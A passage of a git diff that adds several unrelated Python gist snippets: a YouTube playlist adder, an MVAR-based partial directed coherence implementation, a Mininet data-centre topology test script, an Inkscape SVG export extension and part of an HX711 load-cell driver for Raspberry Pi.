+        return query.path[1:]
+    if query.hostname in ('www.youtube.com', 'youtube.com'):
+        if query.path == '/watch':
+            p = parse_qs(query.query)
+            return p['v'][0]
+        if query.path[:7] == '/embed/':
+            return query.path.split('/')[2]
+        if query.path[:3] == '/v/':
+            return query.path.split('/')[2]
+    #match for a video_id as a argument
+    if re.match('[a-zA-Z0-9_-]{11}', url):
+        return url
+    return None
+
+
+def get_authenticated_service():
+    flow = flow_from_clientsecrets(CLIENT_SECRETS_FILE, scope=YOUTUBE_SCOPE,
+    message=MISSING_CLIENT_SECRETS_MESSAGE)
+
+    storage = Storage("%s-oauth2.json" % sys.argv[0])
+    credentials = storage.get()
+
+    if credentials is None or credentials.invalid:
+        credentials = run(flow, storage)
+
+    return build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,
+        http=credentials.authorize(httplib2.Http()))
+
+def get_videos_from_playlist(youtube, items, playlistID):
+    response = items.list(part="snippet", playlistId=playlistID)
+    while response:
+        playlistitems_list_response = response.execute()
+
+        for playlist_item in playlistitems_list_response["items"]:
+            # title = playlist_item["snippet"]["title"]
+            video_id = playlist_item["snippet"]["resourceId"]["videoId"]
+            yield video_id
+
+        response = youtube.playlistItems().list_next(
+        response, playlistitems_list_response)
+
+
+def add_video_to_playlist(youtube,playlistID, videoID):
+    items = youtube.playlistItems()
+    playlist = get_videos_from_playlist(youtube, items, playlistID)
+    if videoID not in playlist:
+        add_video_request=items.insert(
+        part="snippet",
+        body={
+            'snippet': {
+              'playlistId': playlistID,
+              'resourceId': {
+                      'kind': 'youtube#video',
+                  'videoId': videoID
+                }
+            #'position': 0
+            }
+        }
+        ).execute()
+        return add_video_request
+    print "Already on Playlist"
+    return None
+
+def add_file_to_playlist(youtube, playlistID, finput):
+    for line in finput:
+        videoID = video_id(line.strip())
+        try:
+            add_video_to_playlist(youtube, playlistID, videoID)
+        except Exception, e:
+            print "Couldn't add video: {0}\n{1}\n".format(videoID, e)
+
+
+if __name__ == '__main__':
+
+    docs = \
+    """Add to youtube playlist
+
+        Usage:
+            add2ytpl.py add <playlistID> <videoID>...
+            add2ytpl.py addFile <playlistID> [<filename>...]
+            add2ytpl.py (-h | --help)
+
+        Options:
+            -h --help     Show this screen.
+    """
+
+    args = docopt(docs)
+    # print(args)
+
+    youtube = get_authenticated_service()
+    if args['add']:
+        for video in args['<videoID>']:
+            add_video_to_playlist(youtube, args['<playlistID>'], video_id(video))
+    if args['addFile']:
+        f = fileinput.input(args['<filename>'])
+        add_file_to_playlist(youtube, args['<playlistID>'], f)
diff --git a/hard-gists/9875439/._snippet.py b/hard-gists/9875439/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9875439/._snippet.py differ
diff --git a/hard-gists/9875439/snippet.py b/hard-gists/9875439/snippet.py
new file mode 100644
index 00000000..26187f7e
--- /dev/null
+++ b/hard-gists/9875439/snippet.py
@@ -0,0 +1,341 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""Implements Partial Directed Coherence and Direct Transfer Function
+using MVAR processes.
+
+Reference
+---------
+Luiz A. Baccala and Koichi Sameshima. Partial directed coherence:
+a new concept in neural structure determination.
+Biological Cybernetics, 84(6):463:474, 2001.
+"""
+
+# Authors: Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr>
+#
+# License: BSD (3-clause)
+
+import math
+import numpy as np
+from scipy import linalg, fftpack
+import matplotlib.pyplot as plt
+
+
+def mvar_generate(A, n, sigma, burnin=500):
+    """Simulate MVAR process
+
+    Parameters
+    ----------
+    A : ndarray, shape (p, N, N)
+        The AR coefficients where N is the number of signals
+        and p the order of the model.
+    n : int
+        The number of time samples.
+    sigma : array, shape (N,)
+        The noise for each time series
+    burnin : int
+        The length of the burnin period (in samples).
+
+    Returns
+    -------
+    X : ndarray, shape (N, n)
+        The N time series of length n
+    """
+    p, N, N = A.shape
+    A_2d = np.concatenate(A, axis=1)
+    Y = np.zeros((n + burnin, N))
+
+    sigma = np.diag(sigma)
+    mu = np.zeros(N)
+
+    # itération du processus
+    for i in range(p, n):
+        w = np.random.multivariate_normal(mu, sigma)
+        Y[i] = np.dot(A_2d, Y[i - p:i][::-1, :].ravel()) + w
+
+    return Y[burnin:].T
+
+
+def cov(X, p):
+    """vector autocovariance up to order p
+
+    Parameters
+    ----------
+    X : ndarray, shape (N, n)
+        The N time series of length n
+
+    Returns
+    -------
+    R : ndarray, shape (p + 1, N, N)
+        The autocovariance up to order p
+    """
+    N, n = X.shape
+    R = np.zeros((p + 1, N, N))
+    for k in range(p + 1):
+        R[k] = (1. / float(n - k)) * np.dot(X[:, :n - k], X[:, k:].T)
+    return R
+
+
+def mvar_fit(X, p):
+    """Fit MVAR model of order p using Yule Walker
+
+    Parameters
+    ----------
+    X : ndarray, shape (N, n)
+        The N time series of length n
+    n_fft : int
+        The length of the FFT
+
+    Returns
+    -------
+    A : ndarray, shape (p, N, N)
+        The AR coefficients where N is the number of signals
+        and p the order of the model.
+    sigma : array, shape (N,)
+        The noise for each time series
+    """
+    N, n = X.shape
+    gamma = cov(X, p)  # gamma(r,i,j) cov between X_i(0) et X_j(r)
+    G = np.zeros((p * N, p * N))
+    gamma2 = np.concatenate(gamma, axis=0)
+    gamma2[:N, :N] /= 2.
+
+    for i in range(p):
+        G[N * i:, N * i:N * (i + 1)] = gamma2[:N * (p - i)]
+
+    G = G + G.T  # big block matrix
+
+    gamma4 = np.concatenate(gamma[1:], axis=0)
+
+    phi = linalg.solve(G, gamma4)  # solve Yule Walker
+
+    tmp = np.dot(gamma4[:N * p].T, phi)
+    sigma = gamma[0] - tmp - tmp.T + np.dot(phi.T, np.dot(G, phi))
+
+    phi = np.reshape(phi, (p, N, N))
+    for k in range(p):
+        phi[k] = phi[k].T
+
+    return phi, sigma
+
+
+def compute_order(X, p_max):
+    """Estimate AR order with BIC
+
+    Parameters
+    ----------
+    X : ndarray, shape (N, n)
+        The N time series of length n
+    p_max : int
+        The maximum model order to test
+
+    Returns
+    -------
+    p : int
+        Estimated order
+    bic : ndarray, shape (p_max + 1,)
+        The BIC for the orders from 0 to p_max.
+    """
+    N, n = X.shape
+
+    bic = np.empty(p_max + 1)
+    bic[0] = np.inf # XXX
+
+    Y = X.T
+
+    for p in range(1, p_max + 1):
+        print p
+        A, sigma = mvar_fit(X, p)
+        A_2d = np.concatenate(A, axis=1)
+
+        n_samples = n - p
+        bic[p] = n_samples * N * math.log(2. * math.pi)
+        bic[p] += n_samples * np.log(linalg.det(sigma))
+        bic[p] += p * (N ** 2) * math.log(n_samples)
+
+        sigma_inv = linalg.inv(sigma)
+        S = 0.
+        for i in range(p, n):
+            res = Y[i] - np.dot(A_2d, Y[i - p:i][::-1, :].ravel())
+            S += np.dot(res, sigma_inv.dot(res))
+
+        bic[p] += S
+
+    p = np.argmin(bic)
+    return p, bic
+
+
+def spectral_density(A, n_fft=None):
+    """Estimate PSD from AR coefficients
+
+    Parameters
+    ----------
+    A : ndarray, shape (p, N, N)
+        The AR coefficients where N is the number of signals
+        and p the order of the model.
+    n_fft : int
+        The length of the FFT
+
+    Returns
+    -------
+    fA : ndarray, shape (n_fft, N, N)
+        The estimated spectral density.
+    """
+    p, N, N = A.shape
+    if n_fft is None:
+        n_fft = max(int(2 ** math.ceil(np.log2(p))), 512)
+    A2 = np.zeros((n_fft, N, N))
+    A2[1:p + 1, :, :] = A  # start at 1 !
+    fA = fftpack.fft(A2, axis=0)
+    freqs = fftpack.fftfreq(n_fft)
+    I = np.eye(N)
+
+    for i in range(n_fft):
+        fA[i] = linalg.inv(I - fA[i])
+
+    return fA, freqs
+
+
+def DTF(A, sigma=None, n_fft=None):
+    """Direct Transfer Function (DTF)
+
+    Parameters
+    ----------
+    A : ndarray, shape (p, N, N)
+        The AR coefficients where N is the number of signals
+        and p the order of the model.
+    sigma : array, shape (N, )
+        The noise for each time series
+    n_fft : int
+        The length of the FFT
+
+    Returns
+    -------
+    D : ndarray, shape (n_fft, N, N)
+        The estimated DTF
+    """
+    p, N, N = A.shape
+
+    if n_fft is None:
+        n_fft = max(int(2 ** math.ceil(np.log2(p))), 512)
+
+    H, freqs = spectral_density(A, n_fft)
+    D = np.zeros((n_fft, N, N))
+
+    if sigma is None:
+        sigma = np.ones(N)
+
+    for i in range(n_fft):
+        S = H[i]
+        V = (S * sigma[None, :]).dot(S.T.conj())
+        V = np.abs(np.diag(V))
+        D[i] = np.abs(S * np.sqrt(sigma[None, :])) / np.sqrt(V)[:, None]
+
+    return D, freqs
+
+
+def PDC(A, sigma=None, n_fft=None):
+    """Partial directed coherence (PDC)
+
+    Parameters
+    ----------
+    A : ndarray, shape (p, N, N)
+        The AR coefficients where N is the number of signals
+        and p the order of the model.
+    sigma : array, shape (N,)
+        The noise for each time series.
+    n_fft : int
+        The length of the FFT.
+
+    Returns
+    -------
+    P : ndarray, shape (n_fft, N, N)
+        The estimated PDC.
+    """
+    p, N, N = A.shape
+
+    if n_fft is None:
+        n_fft = max(int(2 ** math.ceil(np.log2(p))), 512)
+
+    H, freqs = spectral_density(A, n_fft)
+    P = np.zeros((n_fft, N, N))
+
+    if sigma is None:
+        sigma = np.ones(N)
+
+    for i in range(n_fft):
+        B = H[i]
+        B = linalg.inv(B)
+        V = np.abs(np.dot(B.T.conj(), B * (1. / sigma[:, None])))
+        V = np.diag(V)  # denominator squared
+        P[i] = np.abs(B * (1. / np.sqrt(sigma))[None, :]) / np.sqrt(V)[None, :]
+
+    return P, freqs
+
+
+def plot_all(freqs, P, name):
+    """Plot grid of subplots
+    """
+    m, N, N = P.shape
+    pos_freqs = freqs[freqs >= 0]
+
+    f, axes = plt.subplots(N, N)
+    for i in range(N):
+        for j in range(N):
+            axes[i, j].fill_between(pos_freqs, P[freqs >= 0, i, j], 0)
+            axes[i, j].set_xlim([0, np.max(pos_freqs)])
+            axes[i, j].set_ylim([0, 1])
+    plt.suptitle(name)
+    plt.tight_layout()
+
+
+if __name__ == '__main__':
+    plt.close('all')
+
+    # example from the paper
+    A = np.zeros((3, 5, 5))
+    A[0, 0, 0] = 0.95 * math.sqrt(2)
+    A[1, 0, 0] = -0.9025
+    A[1, 1, 0] = 0.5
+    A[2, 2, 0] = -0.4
+    A[1, 3, 0] = -0.5
+    A[0, 3, 3] = 0.25 * math.sqrt(2)
+    A[0, 3, 4] = 0.25 * math.sqrt(2)
+    A[0, 4, 3] = -0.25 * math.sqrt(2)
+    A[0, 4, 4] = 0.25 * math.sqrt(2)
+
+    # simulate processes
+    n = 10 ** 4
+    # sigma = np.array([0.0001, 1, 1, 1, 1])
+    # sigma = np.array([0.01, 1, 1, 1, 1])
+    sigma = np.array([1., 1., 1., 1., 1.])
+    Y = mvar_generate(A, n, sigma)
+
+    mu = np.mean(Y, axis=1)
+    X = Y - mu[:, None]
+
+    # estimate AR order with BIC
+    if 1:
+        p_max = 20
+        p, bic = compute_order(X, p_max=p_max)
+
+        plt.figure()
+        plt.plot(np.arange(p_max + 1), bic)
+        plt.xlabel('order')
+        plt.ylabel('BIC')
+        plt.show()
+    else:
+        p = 3
+
+    A_est, sigma = mvar_fit(X, p)
+    sigma = np.diag(sigma)  # DTF + PDC support diagonal noise
+    # sigma = None
+
+    # compute DTF
+    D, freqs = DTF(A_est, sigma)
+    plot_all(freqs, D, 'DTF')
+
+    # compute PDC
+    P, freqs = PDC(A_est, sigma)
+    plot_all(freqs, P, 'PDC')
+    plt.show()
diff --git a/hard-gists/9875468/._snippet.py b/hard-gists/9875468/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9875468/._snippet.py differ
diff --git a/hard-gists/9875468/snippet.py b/hard-gists/9875468/snippet.py
new file mode 100644
index 00000000..d2c9a990
--- /dev/null
+++ b/hard-gists/9875468/snippet.py
@@ -0,0 +1,172 @@
+#!/usr/bin/env python
+
+from mininet.net import Mininet
+from mininet.node import Controller, RemoteController
+from mininet.cli import CLI
+from mininet.log import setLogLevel, info
+from mininet.link import Link, Intf, TCLink
+from mininet.topo import Topo
+from mininet.util import dumpNodeConnections
+import logging
+import os 
+
+logging.basicConfig(level=logging.DEBUG)
+logger = logging.getLogger( __name__ )
+
+class HugeTopo(Topo):
+    logger.debug("Class HugeTopo")
+    CoreSwitchList = []
+    AggSwitchList = []
+    EdgeSwitchList = []
+    HostList = []
+    iNUMBER = 0
+    def __init__(self):
+        logger.debug("Class HugeTopo init")
+        iNUMBER = 4
+        
+        self.iNUMBER = iNUMBER
+        self.iCoreLayerSwitch = iNUMBER
+        self.iAggLayerSwitch = iNUMBER * 2
+        self.iEdgeLayerSwitch = iNUMBER * 2
+        self.iHost = self.iEdgeLayerSwitch * 2 
+    
+    
+        #Init Topo
+        Topo.__init__(self)
+
+    def createTopo(self):    
+        logger.debug("Start create Core Layer Swich")
+        self.createCoreLayerSwitch(self.iCoreLayerSwitch)
+        logger.debug("Start create Agg Layer Swich ")
+        self.createAggLayerSwitch(self.iAggLayerSwitch)
+        logger.debug("Start create Edge Layer Swich ")
+        self.createEdgeLayerSwitch(self.iEdgeLayerSwitch)
+        logger.debug("Start create Host")
+        self.createHost(self.iHost)
+
+    """
+    Create Switch and Host
+    """
+
+    def createCoreLayerSwitch(self, NUMBER):
+        logger.debug("Create Core Layer")
+        for x in range(1, NUMBER+1):
+            PREFIX = "100"
+            if x >= int(10):
+                PREFIX = "10"
+            self.CoreSwitchList.append(self.addSwitch(PREFIX + str(x)))
+
+    def createAggLayerSwitch(self, NUMBER):
+        logger.debug( "Create Agg Layer")
+        for x in range(1, NUMBER+1):
+            PREFIX = "200"
+            if x >= int(10):
+                PREFIX = "20"
+            self.AggSwitchList.append(self.addSwitch(PREFIX + str(x)))
+
+    def createEdgeLayerSwitch(self, NUMBER):
+        logger.debug("Create Edge Layer")
+        for x in range(1, NUMBER+1):
+            PREFIX = "300"
+            if x >= int(10):
+                PREFIX = "30"
+            self.EdgeSwitchList.append(self.addSwitch(PREFIX + str(x)))
+    
+    def createHost(self, NUMBER):
+        logger.debug("Create Host")
+        for x in range(1, NUMBER+1):
+            PREFIX = "400"
+            if x >= int(10):
+                PREFIX = "40"
+            self.HostList.append(self.addHost(PREFIX + str(x))) 
+
+    """
+    Create Link 
+    """
+    def createLink(self):
+        logger.debug("Create Core to Agg")
+        for x in range(0, self.iAggLayerSwitch, 2):
+            self.addLink(self.CoreSwitchList[0], self.AggSwitchList[x], bw=1000, loss=5)
+            self.addLink(self.CoreSwitchList[1], self.AggSwitchList[x], bw=1000, loss=5)
+        for x in range(1, self.iAggLayerSwitch, 2):
+            self.addLink(self.CoreSwitchList[2], self.AggSwitchList[x], bw=1000, loss=5)
+            self.addLink(self.CoreSwitchList[3], self.AggSwitchList[x], bw=1000, loss=5)
+        
+        logger.debug("Create Agg to Edge")
+        for x in range(0, self.iAggLayerSwitch, 2):
+            self.addLink(self.AggSwitchList[x], self.EdgeSwitchList[x], bw=100)
+            self.addLink(self.AggSwitchList[x], self.EdgeSwitchList[x+1], bw=100)
+            self.addLink(self.AggSwitchList[x+1], self.EdgeSwitchList[x], bw=100)
+            self.addLink(self.AggSwitchList[x+1], self.EdgeSwitchList[x+1], bw=100)
+
+        logger.debug("Create Edge to Host")
+        for x in range(0, self.iEdgeLayerSwitch):
+            ## limit = 2 * x + 1 
+            self.addLink(self.EdgeSwitchList[x], self.HostList[2 * x])
+            self.addLink(self.EdgeSwitchList[x], self.HostList[2 * x + 1])
+
+def enableSTP():
+    """
+    //HATE: Dirty Code
+    """
+    for x in range(1,5):
+        cmd = "ovs-vsctl set Bridge %s stp_enable=true" % ("100" + str(x))
+        os.system(cmd)
+        print cmd 
+
+    for x in range(1, 9):
+        cmd = "ovs-vsctl set Bridge %s stp_enable=true" % ("200" + str(x))
+        os.system(cmd)  
+        print cmd 
+        cmd = "ovs-vsctl set Bridge %s stp_enable=true" % ("300" + str(x))
+        os.system(cmd)
+        print cmd
+
+def iperfTest(net, topo):
+    logger.debug("Start iperfTEST")
+    h1000, h1015, h1016 = net.get(topo.HostList[0], topo.HostList[14], topo.HostList[15])
+    
+    #iperf Server
+    h1000.popen('iperf -s -u -i 1 > iperf_server_differentPod_result', shell=True)
+
+    #iperf Server
+    h1015.popen('iperf -s -u -i 1 > iperf_server_samePod_result', shell=True)
+
+    #iperf Client
+    h1016.cmdPrint('iperf -c ' + h1000.IP() + ' -u -t 10 -i 1 -b 100m')
+    h1016.cmdPrint('iperf -c ' + h1015.IP() + ' -u -t 10 -i 1 -b 100m')
+
+def pingTest(net):
+    logger.debug("Start Test all network")
+    net.pingAll()
+
+def createTopo():
+    logging.debug("LV1 Create HugeTopo")
+    topo = HugeTopo()
+    topo.createTopo() 
+    topo.createLink() 
+    
+    logging.debug("LV1 Start Mininet")
+    CONTROLLER_IP = "127.0.0.1"
+    CONTROLLER_PORT = 6633
+    net = Mininet(topo=topo, link=TCLink, controller=None)
+    net.addController( 'controller',controller=RemoteController,ip=CONTROLLER_IP,port=CONTROLLER_PORT)
+    net.start()
+
+    logger.debug("LV1 dumpNode")
+    enableSTP()
+    dumpNodeConnections(net.hosts)
+    
+    pingTest(net)
+    iperfTest(net, topo)
+    
+
+    CLI(net)
+    net.stop()
+
+if __name__ == '__main__':
+    setLogLevel('info')
+    if os.getuid() != 0:
+        logger.debug("You are NOT root")
+    elif os.getuid() == 0:
+        createTopo()
diff --git a/hard-gists/989074/._snippet.py b/hard-gists/989074/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/989074/._snippet.py differ
diff --git a/hard-gists/989074/snippet.py b/hard-gists/989074/snippet.py
new file mode 100644
index 00000000..fce959ef
--- /dev/null
+++ b/hard-gists/989074/snippet.py
@@ -0,0 +1,337 @@
+#!/usr/bin/env python
+
+# This script was written by Lars Wallin to facilitate export from svg to any output basically.
+# For now only bitmap rendering is supported (to some degree...)
+# Future versions should include rendering of canvas documents (css, html, ddh, ...)
+
+# Please note that i have not run this script since i added this verbose commenting, so i might have broken some tab position or something...
+
+
+import inkex
+
+import sys, os, commands,subprocess
+import string
+from xml.dom.minidom import Document
+from xml.dom.minidom import DocumentType
+
+# This line is only needed if you don't put the script directly into
+# the installation directory
+
+#sys.path.append('/usr/share/inkscape/extensions')
+
+# The simplestyle module provides functions for style parsing.
+from simplestyle import *
+
+# Generic class to handle object meta data.
+class imageMetaData():
+    id = ""
+    background = ""
+    width = ""
+    height = ""
+    path = ""
+    area = ""
+    x = 0
+    y = 0
+        
+# Effect main class
+class ExportToAny(inkex.Effect):
+
+    parserProcessHandle = None
+    saveLocation = ""
+    where = ""
+    what = ""
+    svg_file = ""
+    renderHistory = []
+
+    def __init__(self):
+        """
+        Constructor.
+        Defines the "--what" option of a script.
+        """
+
+        # Call the base class constructor.
+        inkex.Effect.__init__(self)
+
+        # The OptionParser stuff below are Inkscape specific code which sets up the dialog for the extension GUI.
+        # The current options are just lab stuff and should be substituted with something more usefull. 
+        
+        # Define string option "--what" with "-w" shortcut.
+        self.OptionParser.add_option('-w', '--what', action = 'store',
+              type = 'string', dest = 'what', default = 'World',
+              help = '')
+          
+        self.OptionParser.add_option('--where', action = 'store',
+              type = 'string', dest = 'where', default = 'c:\\',
+              help = 'Where to save?')
+    
+    
+    # exportImage takes as argument the current svg element id. This is then used to select which element the Inkscape exe should export.
+    def exportImage(self,id,parent_id):
+            
+            # The easiest way to name rendered elements is by using their id since we can trust that this is always unique.
+            # The id will later be used as reference by the canvas document (html, ddh, css, ...)
+            filename = os.path.join(self.where, id+'.png')
+            
+            # Inkscape has many really usefull cmd line arguments which can be used to query for data, and render bitmaps.
+            # Please not that Inkscape supports shell execution and should really be started as such at the beginning of parsing. 
+            # The shell spawning stuff is commented out at the bottom of this script.
+            # The current command will start/close a new instance of the app for every element parsed.
+            command = "inkscape --without-gui --export-area-snap --export-id %s --export-png %s %s " % (id, filename, self.svg_file) #create the command that will be use to export
+            processHandle = subprocess.Popen(command,
+                       shell=True,
+                       stdout=subprocess.PIPE)
+            
+            # Inkscape is gracious enough to return some metadata regarding the exported bitmap.
+            stdout_value = processHandle.communicate()[0]
+            
+            # Inkscapes element metadata is not a pleasant format. parseImageMetaData data tries to remedy this.            
+            imageMetaData = self.parseImageMetaData(
+                                str(stdout_value)
+                            )
+
+            return ((id + ";" + parent_id) + (";" + imageMetaData))
+
+
+    # exportImage takes as argument the current svg element id. This is then used to select which element the Inkscape exe should export.
+    def getImage(self,id,parent_id):
+            
+            # Inkscape has many really useful cmd line arguments which can be used to query for data, and render bitmaps.
+            # Please not that Inkscape supports shell execution and should really be started as such at the beginning of parsing. 
+            # The shell spawning stuff is commented out at the bottom of this script.
+            # The current command will start/close a new instance of the app for every element parsed.
+            command = "inkscape --without-gui --export-area-snap --export-id %s --export-png %s %s " % (id, filename, self.svg_file) #create the command that will be use to export
+            processHandle = subprocess.Popen(command,
+                       shell=True,
+                       stdout=subprocess.PIPE)
+            
+            # Inkscape is gracious enough to return some metadata regarding the exported bitmap.
+            stdout_value = processHandle.communicate()[0]
+            
+            # Inkscapes element metadata is not a pleasant format. parseImageMetaData data tries to remedy this.            
+            imageMetaData = self.parseImageMetaData(
+                                str(stdout_value)
+                            )
+
+            return ((id + ";" + parent_id) + (";" + imageMetaData))
+
+    def parseImageMetaData(self,metaDataString):
+        
+        # Inkscape exports information about svg objects in a pretty ugly format. Lets do a quick and dirty solution to this problem :)             
+        # NOTE: The input format of the metaDataString may very well change in future Inkscape releases.
+        
+        if(metaDataString != ''):
+
+            metaDataString = metaDataString.replace('Background RRGGBBAA: ','')
+            metaDataString = metaDataString.replace('Area ',';')
+            metaDataString = metaDataString.replace(' exported to ',';')
+            metaDataString = metaDataString.replace('Bitmap saved as: ','')
+            metaDataString = metaDataString.replace(' x ',';')
+            metaDataString = metaDataString.replace(' pixels (90 dpi)',';')
+            metaDataString += ''
+        
+        
+        
+        return metaDataString
+    
+    # parseDoc is the first level of parsing.
+    def parseDoc(self):
+        # As you can see in the xpath query below we select all groups at the first level of the document.
+        layers = self.document.xpath('//svg:svg/svg:g',namespaces=inkex.NSS)
+        
+        # For each group (which at this level is actually an Inkscape layer) call parseLayer.
+        for node in layers:
+            layerStr = self.exportImage(node.get('id'),'svg')
+            self.debugLogger(layerStr)
+            self.parseLayer(node)
+
+
+    def parseLayer(self,rootElement):
+        # I have chosen to call the level above layer "panel". 
+        panels = rootElement.xpath('svg:g',namespaces=inkex.NSS)
+        
+        # Hey ho here we go
+        for node in panels:
+            self.parsePanel(node)
+
+
+    def parsePanel(self,rootElement):
+        # A panel is an area of the layer which we want to define. This area will not be rendered as a bitmap but saved as model data to be used when
+        # rendering the canvas document (html, ddh, ...)
+        elements = rootElement.xpath('svg:g',namespaces=inkex.NSS)
+        #self.debugLogger(len(elements))
+        
+        # Loop through all *grouped elements*, which will be rendered as png bitmaps. Ungrouped elements will be ignored.
+        for node in elements:
+            self.parseElement(node)
+
+    def parseElement(self,node):
+
+        element_metadata = ""
+        id = node.get('id')
+        
+        # Do actual export
+
+        element_metadata = self.exportImage(id,'svg')
+        element_metadata = element_metadata.split(';')
+        element_metadata[3] = element_metadata[3].split(':')
+
+        
+
+        # Assign the element_metadata values to an elementData struct which we later can query for element data. This will be used for rendering of content documents.
+        elementData = {
+            'id':element_metadata[0],
+            'parent_id':element_metadata[1],
+            'background': element_metadata[2],
+            'area':{
+                'x':element_metadata[3][0],
+                'y':element_metadata[3][1],
+                'rel_x':element_metadata[3][2],
+                'rel_y':element_metadata[3][3]
+            },
+            'width':element_metadata[4],
+            'height':element_metadata[5],
+            'path':element_metadata[6]
+            }
+        
+
+
+        # Here we simply add the new struct to the renderHistory array.
+        self.renderHistory.append(elementData)
+        
+        # And just for debug sake write some stuff back to the document.
+        #self.debugLogger(self.renderHistory[0]['id'])
+
+    # Sub-optimal function just as "proof-of-concept"
+    def renderDDHDoc(self):
+        bitmapSchemaString = ''
+        bitmapDBString = ''
+        ddhDocString = ''
+        
+        iterator = 0
+        
+        # Ok lets render the bitmap schema section of the ddh
+        bitmapSchemaString = '<BitmapSchema><SchemaId>1</SchemaId><DayMode><BitmapDirectory>%s</BitmapDirectory>'%(self.where)
+        
+        for node in self.renderHistory:                        
+            bitmapSchemaString += '<Bitmap>\n<BitmapId>%s</BitmapId>\n<DefaultBitmapFileName>%s</DefaultBitmapFileName>\n</Bitmap>\n'%(node['id'],node['path'].replace('\n',''))
+        
+        # Add the end tag
+        bitmapSchemaString += '</BitmapSchema>\n'
+        
+        # --------------------------------------------------------------------------------------------------------------------------------
+        
+        # Ok lets render the bitmap database section of the ddh
+        
+        for node in self.renderHistory:            
+            iterator = iterator + 1
+            bitmapDBString += '<Bitmap ddh:Name="%s">\n<BitmapId>%s</BitmapId>\n<BitmapRenderValue>FixedSize</BitmapRenderValue>\n</Bitmap>\n'%(iterator,node['id'])
+
+    
+    
+        ddhDocString = ('<BitmapDatabase ddh:NextIdForDatabase="">\n' + bitmapSchemaString + bitmapDBString + '</BitmapDatabase>')
+        
+        # Let's create a file and write it to disk.
+        filename = os.path.join(self.where, "ddh_sections.xml")        
+            
+        # Create a file object:
+        # in "write" mode
+        FILE = open(filename,"w")
+        FILE.write(ddhDocString)
+                        
+        FILE.close()
+        
+        #self.debugLogger(ddhDocString)
+        
+
+    # Sub-optimal function just as "proof-of-concept"
+    def renderCSSDoc(self):
+        docString = ''
+        
+        iterator = 0
+        
+        # Ok lets render the bitmap schema section of the ddh
+        docString = '<style>\n'
+        topPos = 0
+        for node in self.renderHistory:                        
+            topPos = 1#(node['area']['y'] + node['height'])
+            docString += '.%s {position:relative;top:%spx;left:%spx;}\n'%(node['id'],topPos,node['area']['y'])
+        
+        # Add the end tag
+        docString += '</style>\n'
+        
+        # --------------------------------------------------------------------------------------------------------------------------------
+            
+        # Let's create a file and write it to disk.
+        filename = os.path.join(self.where, "css.css")        
+            
+        # Create a file object:
+        # in "write" mode
+        FILE = open(filename,"w")
+        FILE.write(docString)
+                        
+        FILE.close()
+        
+        #self.debugLogger(docString)
+
+
+    def effect(self):
+    
+        """
+        Effect behaviour.
+        Overrides base class method
+        """
+
+        self.svg_file = self.args[-1]
+
+        # Get script's "--what" option value.
+        self.what = self.options.what
+
+        # Get script's "--where" option value.
+        self.where = self.options.where
+        
+        # Get the handle for the parser process. In this case Inkscape is used.
+        #self.parserProcessHandle = self.getParserSession()
+
+        self.parseDoc()
+        
+        self.renderCSSDoc()
+        
+        #self.endParserSession()
+
+
+    def debugLogger(self,textStr):
+        debugLayer = self.document.xpath('//svg:svg/svg:g',namespaces=inkex.NSS)[0]
+        
+        # Create text element
+        text = inkex.etree.Element(inkex.addNS('text','svg'))
+        text.text = str(textStr)
+
+        # Set text position to center of document.
+        text.set('x', str(300 / 2))
+        text.set('y', str(300 / 2))
+
+        # Center text horizontally with CSS style.
+        style = {'text-align' : 'center', 'text-anchor': 'middle'}
+        text.set('style', formatStyle(style))
+
+        # Connect elements together.
+        debugLayer.append(text)
+
+# Create effect instance and apply it.
+effect = ExportToAny()
+effect.affect()
+
+"""
+def getParserSession(self):
+        command = "inkscape --shell"
+        processHandle = subprocess.Popen(command,
+                   shell=True,
+                   stdout=subprocess.PIPE,
+                   stdin=subprocess.PIPE)
+        return processHandle
+
+def endParserSession(self):
+        command = "exit"
+        stdout_value = self.parserProcessHandle.communicate(command)
+        return repr(stdout_value)
+"""
\ No newline at end of file
diff --git a/hard-gists/98a38b54f889fce2b237/._snippet.py b/hard-gists/98a38b54f889fce2b237/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/98a38b54f889fce2b237/._snippet.py differ
diff --git a/hard-gists/98a38b54f889fce2b237/snippet.py b/hard-gists/98a38b54f889fce2b237/snippet.py
new file mode 100644
index 00000000..84269232
--- /dev/null
+++ b/hard-gists/98a38b54f889fce2b237/snippet.py
@@ -0,0 +1,128 @@
+import RPi.GPIO as GPIO
+import time
+
+
+def createBoolList(size=8):
+    ret = []
+    for i in range(8):
+        ret.append(False)
+    return ret
+
+
+class HX711:
+    def __init__(self, dout, pd_sck, gain=128):
+        self.PD_SCK = pd_sck
+        self.DOUT = dout
+
+        GPIO.setup(self.PD_SCK, GPIO.OUT)
+        GPIO.setup(self.DOUT, GPIO.IN)
+
+        self.GAIN = 0
+        self.OFFSET = 0
+        self.SCALE = 1
+        self.lastVal = 0
+
+        #GPIO.output(self.PD_SCK, True)
+        #GPIO.output(self.PD_SCK, False)
+
+        self.set_gain(gain);
+
+    def is_ready(self):
+        return GPIO.input(self.DOUT) == 0
+
+    def set_gain(self, gain):
+        if gain is 128:
+            self.GAIN = 1
+        elif gain is 64:
+            self.GAIN = 3
+        elif gain is 32:
+            self.GAIN = 2
+
+        GPIO.output(self.PD_SCK, False)
+        self.read()
+
+    def read(self):
+        while not self.is_ready():
+            #print("WAITING")
+            pass
+
+        dataBits = [createBoolList(), createBoolList(), createBoolList()]
+
+        for j in range(2, -1, -1):
+            for i in range(7, -1, -1):
+                GPIO.output(self.PD_SCK, True)
+                dataBits[j][i] = GPIO.input(self.DOUT)
+                GPIO.output(self.PD_SCK, False)
+
+        #set channel and gain factor for next reading
+        #for i in range(self.GAIN):
+        GPIO.output(self.PD_SCK, True)
+        GPIO.output(self.PD_SCK, False)
+
+        #check for all 1
+        if all(item == True for item in dataBits[0]):
+            return self.lastVal
+
+        bits = []
+        for i in range(2, -1, -1):
+            bits += dataBits[i]
+
+        self.lastVal = int(''.join(map(str, bits)), 2)
+        return self.lastVal
+
+        '''
+        data = [0,0,0]
+        for i in range(0,3):
+            #print(''.join(map(str, dataBits[i])))
+            data[i] = int(''.join(map(str, dataBits[i])), 2)
+            #print(data[i])
+
